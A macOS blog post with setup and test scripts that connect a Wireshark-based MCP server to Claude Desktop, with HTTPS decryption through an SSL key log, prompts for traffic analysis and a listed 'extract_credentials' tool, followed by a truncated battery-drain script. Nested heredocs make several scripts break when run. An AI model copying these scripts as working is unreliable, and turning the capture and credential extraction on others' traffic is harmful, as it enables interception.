Author: Andrew Baker

Macbook: Setup wireshark packet capture MCP for Antropic Claude Desktop

If you’re like me, the idea of doing anything twice will make you break out in a cold shiver. For my Claude desktop, I often need network pcap (packet capture) to unpack something that I am doing. So the script below installs wireshark, and then the wireshark mcp and then configures Claude to use it. Then I got it to work with zscaler (note, I just did a process grep – you could also check utun/port 9000/9400).

I also added example scripts to test its working and so prompts to help you test in Claude.

cat > ~/setup_wiremcp_simple.sh << 'EOF'
#!/bin/bash

# Simplified WireMCP Setup with Zscaler Support

echo ""
echo "============================================"
echo "   WireMCP Setup with Zscaler Support"
echo "============================================"
echo ""

# Detect Zscaler
echo "[INFO] Detecting Zscaler..."
ZSCALER_DETECTED=false
ZSCALER_INTERFACE=""

# Check for Zscaler process
if pgrep -f "Zscaler" >/dev/null 2>&1; then
    ZSCALER_DETECTED=true
    echo "[ZSCALER] ✓ Zscaler process is running"
fi

# Find Zscaler tunnel interface
UTUN_INTERFACES=$(ifconfig -l | grep -o 'utun[0-9]*')
for iface in $UTUN_INTERFACES; do
    IP=$(ifconfig "$iface" 2>/dev/null | grep "inet " | awk '{print $2}')
    if [[ "$IP" == 100.64.* ]]; then
        ZSCALER_INTERFACE="$iface"
        ZSCALER_DETECTED=true
        echo "[ZSCALER] ✓ Zscaler tunnel found: $iface (IP: $IP)"
        break
    fi
done

if [[ "$ZSCALER_DETECTED" == "true" ]]; then
    echo "[ZSCALER] ✓ Zscaler environment confirmed"
else
    echo "[INFO] No Zscaler detected - standard network"
fi

echo ""

# Check existing installations
echo "[INFO] Checking installed software..."

if command -v tshark >/dev/null 2>&1; then
    echo "[✓] Wireshark/tshark is installed"
else
    echo "[!] Wireshark not found - install with: brew install --cask wireshark"
fi

if command -v node >/dev/null 2>&1; then
    echo "[✓] Node.js is installed: $(node --version)"
else
    echo "[!] Node.js not found - install with: brew install node"
fi

if [[ -d "$HOME/WireMCP" ]]; then
    echo "[✓] WireMCP is installed at ~/WireMCP"
else
    echo "[!] WireMCP not found"
fi

echo ""

# Configure SSL decryption for Zscaler
if [[ "$ZSCALER_DETECTED" == "true" ]]; then
    echo "[INFO] Configuring SSL/TLS decryption..."
    
    SSL_KEYLOG="$HOME/.wireshark-sslkeys.log"
    touch "$SSL_KEYLOG"
    chmod 600 "$SSL_KEYLOG"
    
    if ! grep -q "SSLKEYLOGFILE" ~/.zshrc 2>/dev/null; then
        echo "" >> ~/.zshrc
        echo "# Wireshark SSL/TLS decryption for Zscaler" >> ~/.zshrc
        echo "export SSLKEYLOGFILE=\"$SSL_KEYLOG\"" >> ~/.zshrc
        echo "[✓] Added SSLKEYLOGFILE to ~/.zshrc"
    else
        echo "[✓] SSLKEYLOGFILE already in ~/.zshrc"
    fi
    
    echo "[✓] SSL key log file: $SSL_KEYLOG"
fi

echo ""

# Update WireMCP for Zscaler
if [[ -d "$HOME/WireMCP" ]]; then
    if [[ "$ZSCALER_DETECTED" == "true" ]]; then
        echo "[INFO] Creating Zscaler-aware wrapper..."
        
        cat > "$HOME/WireMCP/start_zscaler.sh" << 'WRAPPER'
#!/bin/bash
echo "=== WireMCP (Zscaler Mode) ==="

# Set SSL decryption
export SSLKEYLOGFILE="$HOME/.wireshark-sslkeys.log"

# Find Zscaler interface
UTUN_LIST=$(ifconfig -l | grep -o 'utun[0-9]*')
for iface in $UTUN_LIST; do
    IP=$(ifconfig "$iface" 2>/dev/null | grep "inet " | awk '{print $2}')
    if [[ "$IP" == 100.64.* ]]; then
        export CAPTURE_INTERFACE="$iface"
        echo "✓ Zscaler tunnel: $iface ($IP)"
        echo "✓ All proxied traffic flows through this interface"
        break
    fi
done

if [[ -z "$CAPTURE_INTERFACE" ]]; then
    export CAPTURE_INTERFACE="en0"
    echo "! Using default interface: en0"
fi

echo ""
echo "Configuration:"
echo "  SSL Key Log: $SSLKEYLOGFILE"
echo "  Capture Interface: $CAPTURE_INTERFACE"
echo ""
echo "To capture: sudo tshark -i $CAPTURE_INTERFACE -c 10"
echo "===============================\n"

cd "$(dirname "$0")"
node index.js
WRAPPER
        
        chmod +x "$HOME/WireMCP/start_zscaler.sh"
        echo "[✓] Created ~/WireMCP/start_zscaler.sh"
    fi
    
    # Create test script
    cat > "$HOME/WireMCP/test_zscaler.sh" << 'TEST'
#!/bin/bash

echo "=== Zscaler & WireMCP Test ==="
echo ""

# Check Zscaler process
if pgrep -f "Zscaler" >/dev/null; then
    echo "✓ Zscaler is running"
else
    echo "✗ Zscaler not running"
fi

# Find tunnel
UTUN_LIST=$(ifconfig -l | grep -o 'utun[0-9]*')
for iface in $UTUN_LIST; do
    IP=$(ifconfig "$iface" 2>/dev/null | grep "inet " | awk '{print $2}')
    if [[ "$IP" == 100.64.* ]]; then
        echo "✓ Zscaler tunnel: $iface ($IP)"
        FOUND=true
        break
    fi
done

[[ "$FOUND" != "true" ]] && echo "✗ No Zscaler tunnel found"

echo ""

# Check SSL keylog
if [[ -f "$HOME/.wireshark-sslkeys.log" ]]; then
    SIZE=$(wc -c < "$HOME/.wireshark-sslkeys.log")
    echo "✓ SSL key log exists ($SIZE bytes)"
else
    echo "✗ SSL key log not found"
fi

echo ""
echo "Network interfaces:"
tshark -D 2>/dev/null | head -5

echo ""
echo "To capture Zscaler traffic:"
echo "  sudo tshark -i ${iface:-en0} -c 10"
TEST
    
    chmod +x "$HOME/WireMCP/test_zscaler.sh"
    echo "[✓] Created ~/WireMCP/test_zscaler.sh"
fi

echo ""

# Configure Claude Desktop
CLAUDE_CONFIG="$HOME/Library/Application Support/Claude/claude_desktop_config.json"
if [[ -d "$(dirname "$CLAUDE_CONFIG")" ]]; then
    echo "[INFO] Configuring Claude Desktop..."
    
    # Backup existing
    if [[ -f "$CLAUDE_CONFIG" ]]; then
        BACKUP_FILE="${CLAUDE_CONFIG}.backup.$(date +%Y%m%d_%H%M%S)"
        cp "$CLAUDE_CONFIG" "$BACKUP_FILE"
        echo "[✓] Backup created: $BACKUP_FILE"
    fi
    
    # Check if jq is installed
    if ! command -v jq >/dev/null 2>&1; then
        echo "[INFO] Installing jq for JSON manipulation..."
        brew install jq
    fi
    
    # Create temp capture directory
    TEMP_CAPTURE_DIR="$HOME/.wiremcp/captures"
    mkdir -p "$TEMP_CAPTURE_DIR"
    echo "[✓] Capture directory: $TEMP_CAPTURE_DIR"
    
    # Prepare environment variables
    if [[ "$ZSCALER_DETECTED" == "true" ]]; then
        ENV_JSON=$(jq -n \
            --arg ssllog "$HOME/.wireshark-sslkeys.log" \
            --arg iface "${ZSCALER_INTERFACE:-en0}" \
            --arg capdir "$TEMP_CAPTURE_DIR" \
            '{"SSLKEYLOGFILE": $ssllog, "CAPTURE_INTERFACE": $iface, "ZSCALER_MODE": "true", "CAPTURE_DIR": $capdir}')
    else
        ENV_JSON=$(jq -n \
            --arg capdir "$TEMP_CAPTURE_DIR" \
            '{"CAPTURE_DIR": $capdir}')
    fi
    
    # Add or update wiremcp in config, preserving existing servers
    if [[ -f "$CLAUDE_CONFIG" ]] && [[ -s "$CLAUDE_CONFIG" ]]; then
        echo "[INFO] Merging WireMCP into existing config..."
        jq --arg home "$HOME" \
           --argjson env "$ENV_JSON" \
           '.mcpServers.wiremcp = {"command": "node", "args": [$home + "/WireMCP/index.js"], "env": $env}' \
           "$CLAUDE_CONFIG" > "${CLAUDE_CONFIG}.tmp" && mv "${CLAUDE_CONFIG}.tmp" "$CLAUDE_CONFIG"
    else
        echo "[INFO] Creating new Claude config..."
        jq -n --arg home "$HOME" \
              --argjson env "$ENV_JSON" \
              '{"mcpServers": {"wiremcp": {"command": "node", "args": [$home + "/WireMCP/index.js"], "env": $env}}}' \
              > "$CLAUDE_CONFIG"
    fi
    
    if [[ "$ZSCALER_DETECTED" == "true" ]]; then
        echo "[✓] Claude configured with Zscaler mode"
    else
        echo "[✓] Claude configured"
    fi
    echo "[✓] Existing MCP servers preserved"
fi

echo ""
echo "============================================"
echo "             Summary"
echo "============================================"
echo ""

if [[ "$ZSCALER_DETECTED" == "true" ]]; then
    echo "Zscaler Environment:"
    echo "  ✓ Detected and configured"
    [[ -n "$ZSCALER_INTERFACE" ]] && echo "  ✓ Tunnel interface: $ZSCALER_INTERFACE"
    echo "  ✓ SSL decryption ready"
    echo ""
    echo "Next steps:"
    echo "  1. Restart terminal: source ~/.zshrc"
    echo "  2. Restart browsers for HTTPS decryption"
else
    echo "Standard Network:"
    echo "  • No Zscaler detected"
    echo "  • Standard configuration applied"
fi

echo ""
echo "For Claude Desktop:"
echo "  1. Restart Claude Desktop app"
echo "  2. Ask Claude to analyze network traffic"
echo ""
echo "============================================"

exit 0
EOF
chmod +x ~/setup_wiremcp_simple.sh

To test if the script worked:

cat > ~/test_wiremcp_claude.sh << 'EOF'
#!/bin/bash

# WireMCP Claude Desktop Interactive Test Script

echo "╔════════════════════════════════════════════════════════╗"
echo "║     WireMCP + Claude Desktop Testing Tool             ║"
echo "╚════════════════════════════════════════════════════════╝"
echo ""

# Colors
GREEN='\033[0;32m'
BLUE='\033[0;34m'
YELLOW='\033[1;33m'
NC='\033[0m'

# Check prerequisites
echo -e "${BLUE}[1/4]${NC} Checking prerequisites..."

if ! command -v tshark >/dev/null 2>&1; then
    echo "   ✗ tshark not found"
    exit 1
fi

if [[ ! -d "$HOME/WireMCP" ]]; then
    echo "   ✗ WireMCP not found at ~/WireMCP"
    exit 1
fi

if [[ ! -f "$HOME/Library/Application Support/Claude/claude_desktop_config.json" ]]; then
    echo "   ⚠ Claude Desktop config not found"
fi

echo -e "   ${GREEN}✓${NC} All prerequisites met"
echo ""

# Detect Zscaler
echo -e "${BLUE}[2/4]${NC} Detecting network configuration..."

ZSCALER_IF=""
for iface in $(ifconfig -l | grep -o 'utun[0-9]*'); do
    IP=$(ifconfig "$iface" 2>/dev/null | grep "inet " | awk '{print $2}')
    if [[ "$IP" == 100.64.* ]]; then
        ZSCALER_IF="$iface"
        echo -e "   ${GREEN}✓${NC} Zscaler tunnel: $iface ($IP)"
        break
    fi
done

if [[ -z "$ZSCALER_IF" ]]; then
    echo "   ⚠ No Zscaler tunnel detected (will use en0)"
    ZSCALER_IF="en0"
fi

echo ""

# Generate test traffic
echo -e "${BLUE}[3/4]${NC} Generating test network traffic..."

# Background network requests
(curl -s https://api.github.com/zen > /dev/null 2>&1) &
(curl -s https://httpbin.org/get > /dev/null 2>&1) &
(curl -s https://www.google.com > /dev/null 2>&1) &
(ping -c 3 8.8.8.8 > /dev/null 2>&1) &

sleep 2
echo -e "   ${GREEN}✓${NC} Test traffic generated (GitHub, httpbin, Google, DNS)"
echo ""

# Show test prompts
echo -e "${BLUE}[4/4]${NC} Test prompts for Claude Desktop"
echo "════════════════════════════════════════════════════════"
echo ""

echo -e "${YELLOW}📋 Copy these prompts into Claude Desktop:${NC}"
echo ""

echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
echo "TEST 1: Basic Connection Test"
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
cat << 'EOF'
Can you see the WireMCP tools? List all available network analysis capabilities you have access to.
EOF
echo ""
echo "Expected: Claude should list 7 tools (capture_packets, get_summary_stats, etc.)"
echo ""

echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
echo "TEST 2: Simple Packet Capture"
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
cat << 'EOF'
Capture 20 network packets and show me a summary including:
- Source and destination IPs
- Protocols used
- Port numbers
- Any interesting patterns
EOF
echo ""
echo "Expected: Packets from $ZSCALER_IF with IPs in 100.64.x.x range"
echo ""

echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
echo "TEST 3: Protocol Analysis"
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
cat << 'EOF'
Capture 50 packets and show me:
1. Protocol breakdown (TCP, UDP, DNS, HTTP, TLS)
2. Which protocol is most common
3. Protocol hierarchy statistics
EOF
echo ""
echo "Expected: Protocol percentages and hierarchy tree"
echo ""

echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
echo "TEST 4: Connection Analysis"
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
cat << 'EOF'
Capture 100 packets and show me network conversations:
- Top 5 source/destination pairs
- Number of packets per conversation
- Bytes transferred
EOF
echo ""
echo "Expected: Conversation statistics with packet/byte counts"
echo ""

echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
echo "TEST 5: Threat Detection"
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
cat << 'EOF'
Capture traffic for 30 seconds and check all destination IPs against threat databases. Tell me if any malicious IPs are detected.
EOF
echo ""
echo "Expected: List of IPs and threat check results (should show 'No threats')"
echo ""

echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
echo "TEST 6: HTTPS Decryption (Advanced)"
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
echo "⚠️  First: Restart your browser after running this:"
echo "    source ~/.zshrc && echo \$SSLKEYLOGFILE"
echo ""
cat << 'EOF'
Capture 30 packets while I browse some HTTPS websites. Can you see any HTTP hostnames or request URIs from the HTTPS traffic?
EOF
echo ""
echo "Expected: If SSL keys are logged, Claude sees decrypted HTTP data"
echo ""

echo "════════════════════════════════════════════════════════"
echo ""

echo -e "${YELLOW}🔧 Manual Verification Commands:${NC}"
echo ""
echo "  # Test manual capture:"
echo "  sudo tshark -i $ZSCALER_IF -c 10"
echo ""
echo "  # Check SSL keylog:"
echo "  ls -lh ~/.wireshark-sslkeys.log"
echo ""
echo "  # Test WireMCP server:"
echo "  cd ~/WireMCP && timeout 3 node index.js"
echo ""
echo "  # Check Claude config:"
echo "  cat \"\$HOME/Library/Application Support/Claude/claude_desktop_config.json\""
echo ""

echo "════════════════════════════════════════════════════════"
echo ""

echo -e "${GREEN}✅ Test setup complete!${NC}"
echo ""
echo "Next steps:"
echo "  1. Open Claude Desktop"
echo "  2. Copy/paste the test prompts above"
echo "  3. Verify Claude can access WireMCP tools"
echo "  4. Check ~/WIREMCP_TESTING_EXAMPLES.md for more examples"
echo ""

# Keep generating traffic in background
echo "Keeping test traffic active for 2 minutes..."
echo "(You can Ctrl+C to stop)"
echo ""

# Generate continuous light traffic
for i in {1..24}; do
    (curl -s https://httpbin.org/delay/1 > /dev/null 2>&1) &
    sleep 5
done

echo ""
echo "Traffic generation complete!"
echo ""

EOF

chmod +x ~/test_wiremcp_claude.sh

Now that you have tested everything is fine… the below just gives you a few example tests to carry out.

# Try WireMCP Right Now! 🚀

## 🎯 3-Minute Quick Start

### Step 1: Restart Claude Desktop (30 seconds)
```bash
# Kill and restart Claude
killall Claude
sleep 2
open -a Claude
```

### Step 2: Create a script to Generate Some Traffic (30 seconds)

cat > ~/network_activity_loop.sh << 'EOF'
#!/bin/bash

# Script to generate network activity for 30 seconds
# Useful for testing network capture tools

echo "Starting network activity generation for 30 seconds..."
echo "Press Ctrl+C to stop early if needed"

# Record start time
start_time=$(date +%s)
end_time=$((start_time + 30))

# Counter for requests
request_count=0

# Loop for 30 seconds
while [ $(date +%s) -lt $end_time ]; do
    # Create network activity to capture
    echo -n "Request set #$((++request_count)) at $(date +%T): "
    
    # GitHub API call
    curl -s https://api.github.com/users/octocat > /dev/null 2>&1 &
    
    # HTTPBin JSON endpoint
    curl -s https://httpbin.org/json > /dev/null 2>&1 &
    
    # IP address check
    curl -s https://ifconfig.me > /dev/null 2>&1 &
    
    # Wait for background jobs to complete
    wait
    echo "completed"
    
    # Small delay to avoid overwhelming the servers
    sleep 0.5
done

echo ""
echo "Network activity generation completed!"
echo "Total request sets sent: $request_count"
echo "Duration: 30 seconds"
EOF

chmod +x ~/network_activity_loop.sh

# Call the script
./network_activity_loop.sh

Time to play!

Now open Claude Desktop and we can run a few tests…

  1. Ask Claude:

Can you see the WireMCP tools? List all available network analysis capabilities.

Claude should list 7 tools:
– capture_packets
– get_summary_stats
– get_conversations
– check_threats
– check_ip_threats
– analyze_pcap
– extract_credentials

2. Ask Claude:

Capture 20 network packets and tell me:
– What IPs am I talking to?
– What protocols are being used?
– Anything interesting?

3. In terminal run:

```bash
curl -v https://api.github.com/users/octocat
```

Ask Claude:

I just called api.github.com. Can you capture my network traffic
for 10 seconds and tell me:
1. What IP did GitHub resolve to?
2. How long did the connection take?
3. Were there any errors?

4. Ask Claude:

Monitor my network for 30 seconds and show me:
– Top 5 destinations by packet count
– What services/companies am I connecting to?
– Any unexpected connections?

5. Developer Debugging Examples – Debug Slow API. Ask Claude:

I’m calling myapi.company.com and it feels slow.
Capture traffic for 30 seconds while I make a request and tell me:
– Where is the latency coming from?
– DNS, TCP handshake, TLS, or server response?
– Any retransmissions?

6. Developer Debugging Examples – Debug Connection Timeout. Ask Claude:

I’m getting timeouts to db.example.com:5432.
Capture for 30 seconds and tell me:
1. Is DNS resolving?
2. Are SYN packets being sent?
3. Do I get SYN-ACK back?
4. Any firewall blocking?

7. TLS Handshake failures (often happen with zero trust networks and cert pinning). Ask Claude:

Monitor my network for 2 mins and look for abnormal TLS handshakes, in particular shortlived TLS handshakes, which can occur due to cert pinning issues.

8. Check for Threats. Ask Claude:

Monitor my network for 60 seconds and check all destination
IPs against threat databases. Tell me if anything suspicious.

9. Monitor Background Apps. Ask Claude:

Capture traffic for 30 seconds while I’m idle.
What apps are calling home without me knowing? Only get conversation statistics to show the key connections and the amount of traffic through each. Show any failed traffic or unusual traffic patterns

10. VPN Testing. Ask Claude:

Capture packets for 60 seconds, during which time i will enable my VPN. Compare the difference and see if you can see exactly when my VPN was enabled.

11. Audit traffic. Ask Claude:

Monitor for 5 minutes and tell me:
– Which service used most bandwidth?
– Any large file transfers?
– Unexpected data usage?

12. Looking for specific protocols. Ask Claude:

Monitor my traffic for 30 seconds and see if you can spot any traffic using QUIC and give me statistics on it.

(then go open a youtube website)

13. DNS Queries. Ask Claude:

As a network troubleshooter, analyze all DNS queries for 30 seconds and provide potential causes for any errors. Show me detailed metrics on any calls, especially failed calls or unusual DNS patterns (like NXDOMAIN, PTR or TXT calls)

14. Certificate Issues. Ask Claude:

Capture TLS handshakes for the next minute and show me the certificate chain. Look out for failed/short live TLS sessions

What Makes This Powerful?

The tradition way used to be:

“`bash
sudo tcpdump -i utun5 -w capture.pcap
# Wait…
# Stop capture
# Open Wireshark
# Apply filters
# Analyze packets manually
# Figure out what it means
“`
Time: 10-30 minutes!

With WireMCP + Claude:


“Capture my network traffic and tell me
what’s happening in plain English”

Time: 30 seconds

Claude automatically:
– Captures on correct interface (utun5)
– Filters relevant packets
– Analyzes protocols
– Identifies issues
– Explains in human language
– Provides recommendations

Macbook: A script to figure out which processes are causing battery usuage/drain issues (even when the laptop lid is closed)

If you’re trying to figure out whats draining your macbook, even when the lid is closed – then try the script below (call with “sudo ./battery_drain_analyzer.sh”):

cat > ~/battery_drain_analyzer.sh << 'EOF'
#!/bin/bash

# Battery Drain Analyzer for macOS
# This script analyzes processes and settings that affect battery life,
# especially when the laptop lid is closed.

# Colors for terminal output
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m' # No Color

# Output file
REPORT_FILE="battery_drain_report_$(date +%Y%m%d_%H%M%S).md"
TEMP_DIR=$(mktemp -d)

echo -e "${GREEN}Battery Drain Analyzer${NC}"
echo "Collecting system information..."
echo "This may take a minute and will require administrator privileges for some checks."
echo ""

# Function to check if running with sudo
check_sudo() {
    if [[ $EUID -ne 0 ]]; then
        echo -e "${YELLOW}Some metrics require sudo access. Re-running with sudo...${NC}"
        sudo "$0" "$@"
        exit $?
    fi
}

# Start the report
cat > "$REPORT_FILE" << EOF
# Battery Drain Analysis Report
**Generated:** $(date '+%Y-%m-%d %H:%M:%S %Z')  
**System:** $(sysctl -n hw.model)  
**macOS Version:** $(sw_vers -productVersion)  
**Uptime:** $(uptime | sed 's/.*up //' | sed 's/,.*//')

---

## Executive Summary
This report analyzes processes and settings that consume battery power, particularly when the laptop lid is closed.

EOF

# 1. Check current power assertions
echo "Checking power assertions..."
cat >> "$REPORT_FILE" << EOF

## 🔋 Current Power State

### Active Power Assertions
Power assertions prevent your Mac from sleeping. Here's what's currently active:

\`\`\`
EOF
pmset -g assertions | grep -A 20 "Listed by owning process:" >> "$REPORT_FILE"
echo '```' >> "$REPORT_FILE"

# 2. Check sleep prevention
SLEEP_STATUS=$(pmset -g | grep "sleep" | head -1)
if [[ $SLEEP_STATUS == *"sleep prevented"* ]]; then
    echo "" >> "$REPORT_FILE"
    echo "⚠️ **WARNING:** Sleep is currently being prevented!" >> "$REPORT_FILE"
fi

# 3. Analyze power settings
echo "Analyzing power settings..."
cat >> "$REPORT_FILE" << EOF

## ⚙️ Power Management Settings

### Current Power Profile
\`\`\`
EOF
pmset -g >> "$REPORT_FILE"
echo '```' >> "$REPORT_FILE"

# Identify problematic settings
cat >> "$REPORT_FILE" << EOF

### Problematic Settings for Battery Life
EOF

POWERNAP=$(pmset -g | grep "powernap" | awk '{print $2}')
TCPKEEPALIVE=$(pmset -g | grep "tcpkeepalive" | awk '{print $2}')
WOMP=$(pmset -g | grep "womp" | awk '{print $2}')
STANDBY=$(pmset -g | grep "standby" | awk '{print $2}')

if [[ "$POWERNAP" == "1" ]]; then
    echo "- ❌ **Power Nap is ENABLED** - Allows Mac to wake for updates (HIGH battery drain)" >> "$REPORT_FILE"
else
    echo "- ✅ Power Nap is disabled" >> "$REPORT_FILE"
fi

if [[ "$TCPKEEPALIVE" == "1" ]]; then
    echo "- ⚠️ **TCP Keep-Alive is ENABLED** - Maintains network connections during sleep (MEDIUM battery drain)" >> "$REPORT_FILE"
else
    echo "- ✅ TCP Keep-Alive is disabled" >> "$REPORT_FILE"
fi

if [[ "$WOMP" == "1" ]]; then
    echo "- ⚠️ **Wake on LAN is ENABLED** - Allows network wake (MEDIUM battery drain)" >> "$REPORT_FILE"
else
    echo "- ✅ Wake on LAN is disabled" >> "$REPORT_FILE"
fi

# 4. Collect CPU usage data
echo "Collecting CPU usage data..."
cat >> "$REPORT_FILE" << EOF

## 📊 Top Battery-Draining Processes

### Current CPU Usage (Higher CPU = More Battery Drain)
EOF

# Get top processes by CPU
top -l 2 -n 20 -o cpu -stats pid,command,cpu,mem,purg,user | tail -n 21 > "$TEMP_DIR/top_output.txt"

# Parse and format top output
echo "| PID | Process | CPU % | Memory | User |" >> "$REPORT_FILE"
echo "|-----|---------|-------|--------|------|" >> "$REPORT_FILE"
tail -n 20 "$TEMP_DIR/top_output.txt" | while read line; do
    if [[ ! -z "$line" ]] && [[ "$line" != *"PID"* ]]; then
        PID=$(echo "$line" | awk '{print $1}')
        PROCESS=$(echo "$line" | awk '{print $2}' | cut -c1-30)
        CPU=$(echo "$line" | awk '{print $3}')
        MEM=$(echo "$line" | awk '{print $4}')
        USER=$(echo "$line" | awk '{print $NF}')
        
        # Highlight high CPU processes
        # Use awk for floating point comparison to avoid bc dependency
        if awk "BEGIN {exit !($CPU > 10.0)}" 2>/dev/null; then
            echo "| $PID | **$PROCESS** | **$CPU** | $MEM | $USER |" >> "$REPORT_FILE"
        else
            echo "| $PID | $PROCESS | $CPU | $MEM | $USER |" >> "$REPORT_FILE"
        fi
    fi
done

# 5. Check for power metrics (if available with sudo)
if [[ $EUID -eq 0 ]]; then
    echo "Collecting detailed power metrics..."
    cat >> "$REPORT_FILE" << EOF

### Detailed Power Consumption Analysis
EOF
    
    # Run powermetrics for 2 seconds
    powermetrics --samplers tasks --show-process-energy -i 2000 -n 1 2>/dev/null > "$TEMP_DIR/powermetrics.txt"
    
    if [[ -s "$TEMP_DIR/powermetrics.txt" ]]; then
        echo '```' >> "$REPORT_FILE"
        grep -A 30 -F "*** Running tasks ***" "$TEMP_DIR/powermetrics.txt" | head -35 >> "$REPORT_FILE"
        echo '```' >> "$REPORT_FILE"
    fi
fi

# 6. Check wake reasons
echo "Analyzing wake patterns..."
cat >> "$REPORT_FILE" << EOF

## 💤 Sleep/Wake Analysis

### Recent Wake Events
These events show why your Mac woke from sleep:

\`\`\`
EOF
pmset -g log | grep -E "Wake from|DarkWake|Notification" | tail -10 >> "$REPORT_FILE"
echo '```' >> "$REPORT_FILE"

# 7. Check scheduled wake events
cat >> "$REPORT_FILE" << EOF

### Scheduled Wake Requests
These are processes that have requested to wake your Mac:

\`\`\`
EOF
pmset -g log | grep "Wake Requests" | tail -5 >> "$REPORT_FILE"
echo '```' >> "$REPORT_FILE"

# 8. Background services analysis
echo "Analyzing background services..."
cat >> "$REPORT_FILE" << EOF

## 🔄 Background Services Analysis

### Potentially Problematic Services
EOF

# Check for common battery-draining services
SERVICES_TO_CHECK=(
    "Spotlight:mds_stores"
    "Time Machine:backupd"
    "Photos:photoanalysisd"
    "iCloud:bird"
    "CrowdStrike:falcon"
    "Dropbox:Dropbox"
    "Google Drive:Google Drive"
    "OneDrive:OneDrive"
    "Creative Cloud:Creative Cloud"
    "Docker:com.docker"
    "Parallels:prl_"
    "VMware:vmware"
    "Spotify:Spotify"
    "Slack:Slack"
    "Microsoft Teams:Teams"
    "Zoom:zoom.us"
    "Chrome:Google Chrome"
    "Edge:Microsoft Edge"
)

echo "| Service | Status | Impact |" >> "$REPORT_FILE"
echo "|---------|--------|--------|" >> "$REPORT_FILE"

for service in "${SERVICES_TO_CHECK[@]}"; do
    IFS=':' read -r display_name process_name <<< "$service"
    # Use pgrep with fixed string matching to avoid regex issues
    if pgrep -qfi "$process_name" 2>/dev/null; then
        # Get CPU usage for this process (escape special characters)
        escaped_name=$(printf '%s\n' "$process_name" | sed 's/[[\.*^$()+?{|]/\\&/g')
        CPU_USAGE=$(ps aux | grep -i "$escaped_name" | grep -v grep | awk '{sum+=$3} END {print sum}')
        if [[ -z "$CPU_USAGE" ]]; then
            CPU_USAGE="0"
        fi
        
        # Determine impact level
        # Use awk for floating point comparison
        if awk "BEGIN {exit !($CPU_USAGE > 20.0)}" 2>/dev/null; then
            IMPACT="HIGH ⚠️"
        elif awk "BEGIN {exit !($CPU_USAGE > 5.0)}" 2>/dev/null; then
            IMPACT="MEDIUM"
        else
            IMPACT="LOW"
        fi
        
        echo "| $display_name | Running (${CPU_USAGE}% CPU) | $IMPACT |" >> "$REPORT_FILE"
    fi
done

# 9. Battery health check
echo "Checking battery health..."
cat >> "$REPORT_FILE" << EOF

## 🔋 Battery Health Status

\`\`\`
EOF
system_profiler SPPowerDataType | grep -A 20 "Battery Information:" >> "$REPORT_FILE"
echo '```' >> "$REPORT_FILE"

# 10. Recommendations
cat >> "$REPORT_FILE" << EOF

## 💡 Recommendations

### Immediate Actions to Improve Battery Life

#### Critical (Do These First):
EOF

# Generate recommendations based on findings
if [[ "$POWERNAP" == "1" ]]; then
    cat >> "$REPORT_FILE" << EOF
1. **Disable Power Nap**
   \`\`\`bash
   sudo pmset -a powernap 0
   \`\`\`
EOF
fi

if [[ "$TCPKEEPALIVE" == "1" ]]; then
    cat >> "$REPORT_FILE" << EOF
2. **Disable TCP Keep-Alive**
   \`\`\`bash
   sudo pmset -a tcpkeepalive 0
   \`\`\`
EOF
fi

if [[ "$WOMP" == "1" ]]; then
    cat >> "$REPORT_FILE" << EOF
3. **Disable Wake for Network Access**
   \`\`\`bash
   sudo pmset -a womp 0
   \`\`\`
EOF
fi

cat >> "$REPORT_FILE" << EOF

#### Additional Optimizations:
4. **Reduce Display Sleep Time**
   \`\`\`bash
   sudo pmset -a displaysleep 5
   \`\`\`

5. **Enable Automatic Graphics Switching** (if available)
   \`\`\`bash
   sudo pmset -a gpuswitch 2
   \`\`\`

6. **Set Faster Standby Delay**
   \`\`\`bash
   sudo pmset -a standbydelay 1800  # 30 minutes
   \`\`\`

### Process-Specific Recommendations:
EOF

# Check for specific high-drain processes and provide detailed solutions
if pgrep -q "mds_stores" 2>/dev/null; then
    cat >> "$REPORT_FILE" << EOF
#### 🔍 **Spotlight Indexing Detected**
**Problem:** Spotlight is actively indexing your drive, consuming significant CPU and battery.
**Solutions:**
- **Temporary pause:** \`sudo mdutil -a -i off\` (re-enable with \`on\`)
- **Check indexing status:** \`mdutil -s /\`
- **Rebuild index if stuck:** \`sudo mdutil -E /\`
- **Exclude folders:** System Settings > Siri & Spotlight > Spotlight Privacy

EOF
fi

if pgrep -q "backupd" 2>/dev/null; then
    cat >> "$REPORT_FILE" << EOF
#### 💾 **Time Machine Backup Running**
**Problem:** Active backup consuming resources.
**Solutions:**
- **Skip current backup:** Click Time Machine icon > Skip This Backup
- **Schedule for AC power:** \`sudo defaults write /Library/Preferences/com.apple.TimeMachine RequiresACPower -bool true\`
- **Reduce backup frequency:** Use TimeMachineEditor app
- **Check backup size:** \`tmutil listbackups | tail -1 | xargs tmutil calculatedrift\`

EOF
fi

if pgrep -q "photoanalysisd" 2>/dev/null; then
    cat >> "$REPORT_FILE" << EOF
#### 📸 **Photos Library Analysis Active**
**Problem:** Photos app analyzing images for faces, objects, and scenes.
**Solutions:**
- **Pause temporarily:** Quit Photos app completely
- **Disable features:** Photos > Settings > uncheck "Enable Machine Learning"
- **Process overnight:** Leave Mac plugged in overnight to complete
- **Check progress:** Activity Monitor > Search "photo"

EOF
fi

# Check for additional common issues
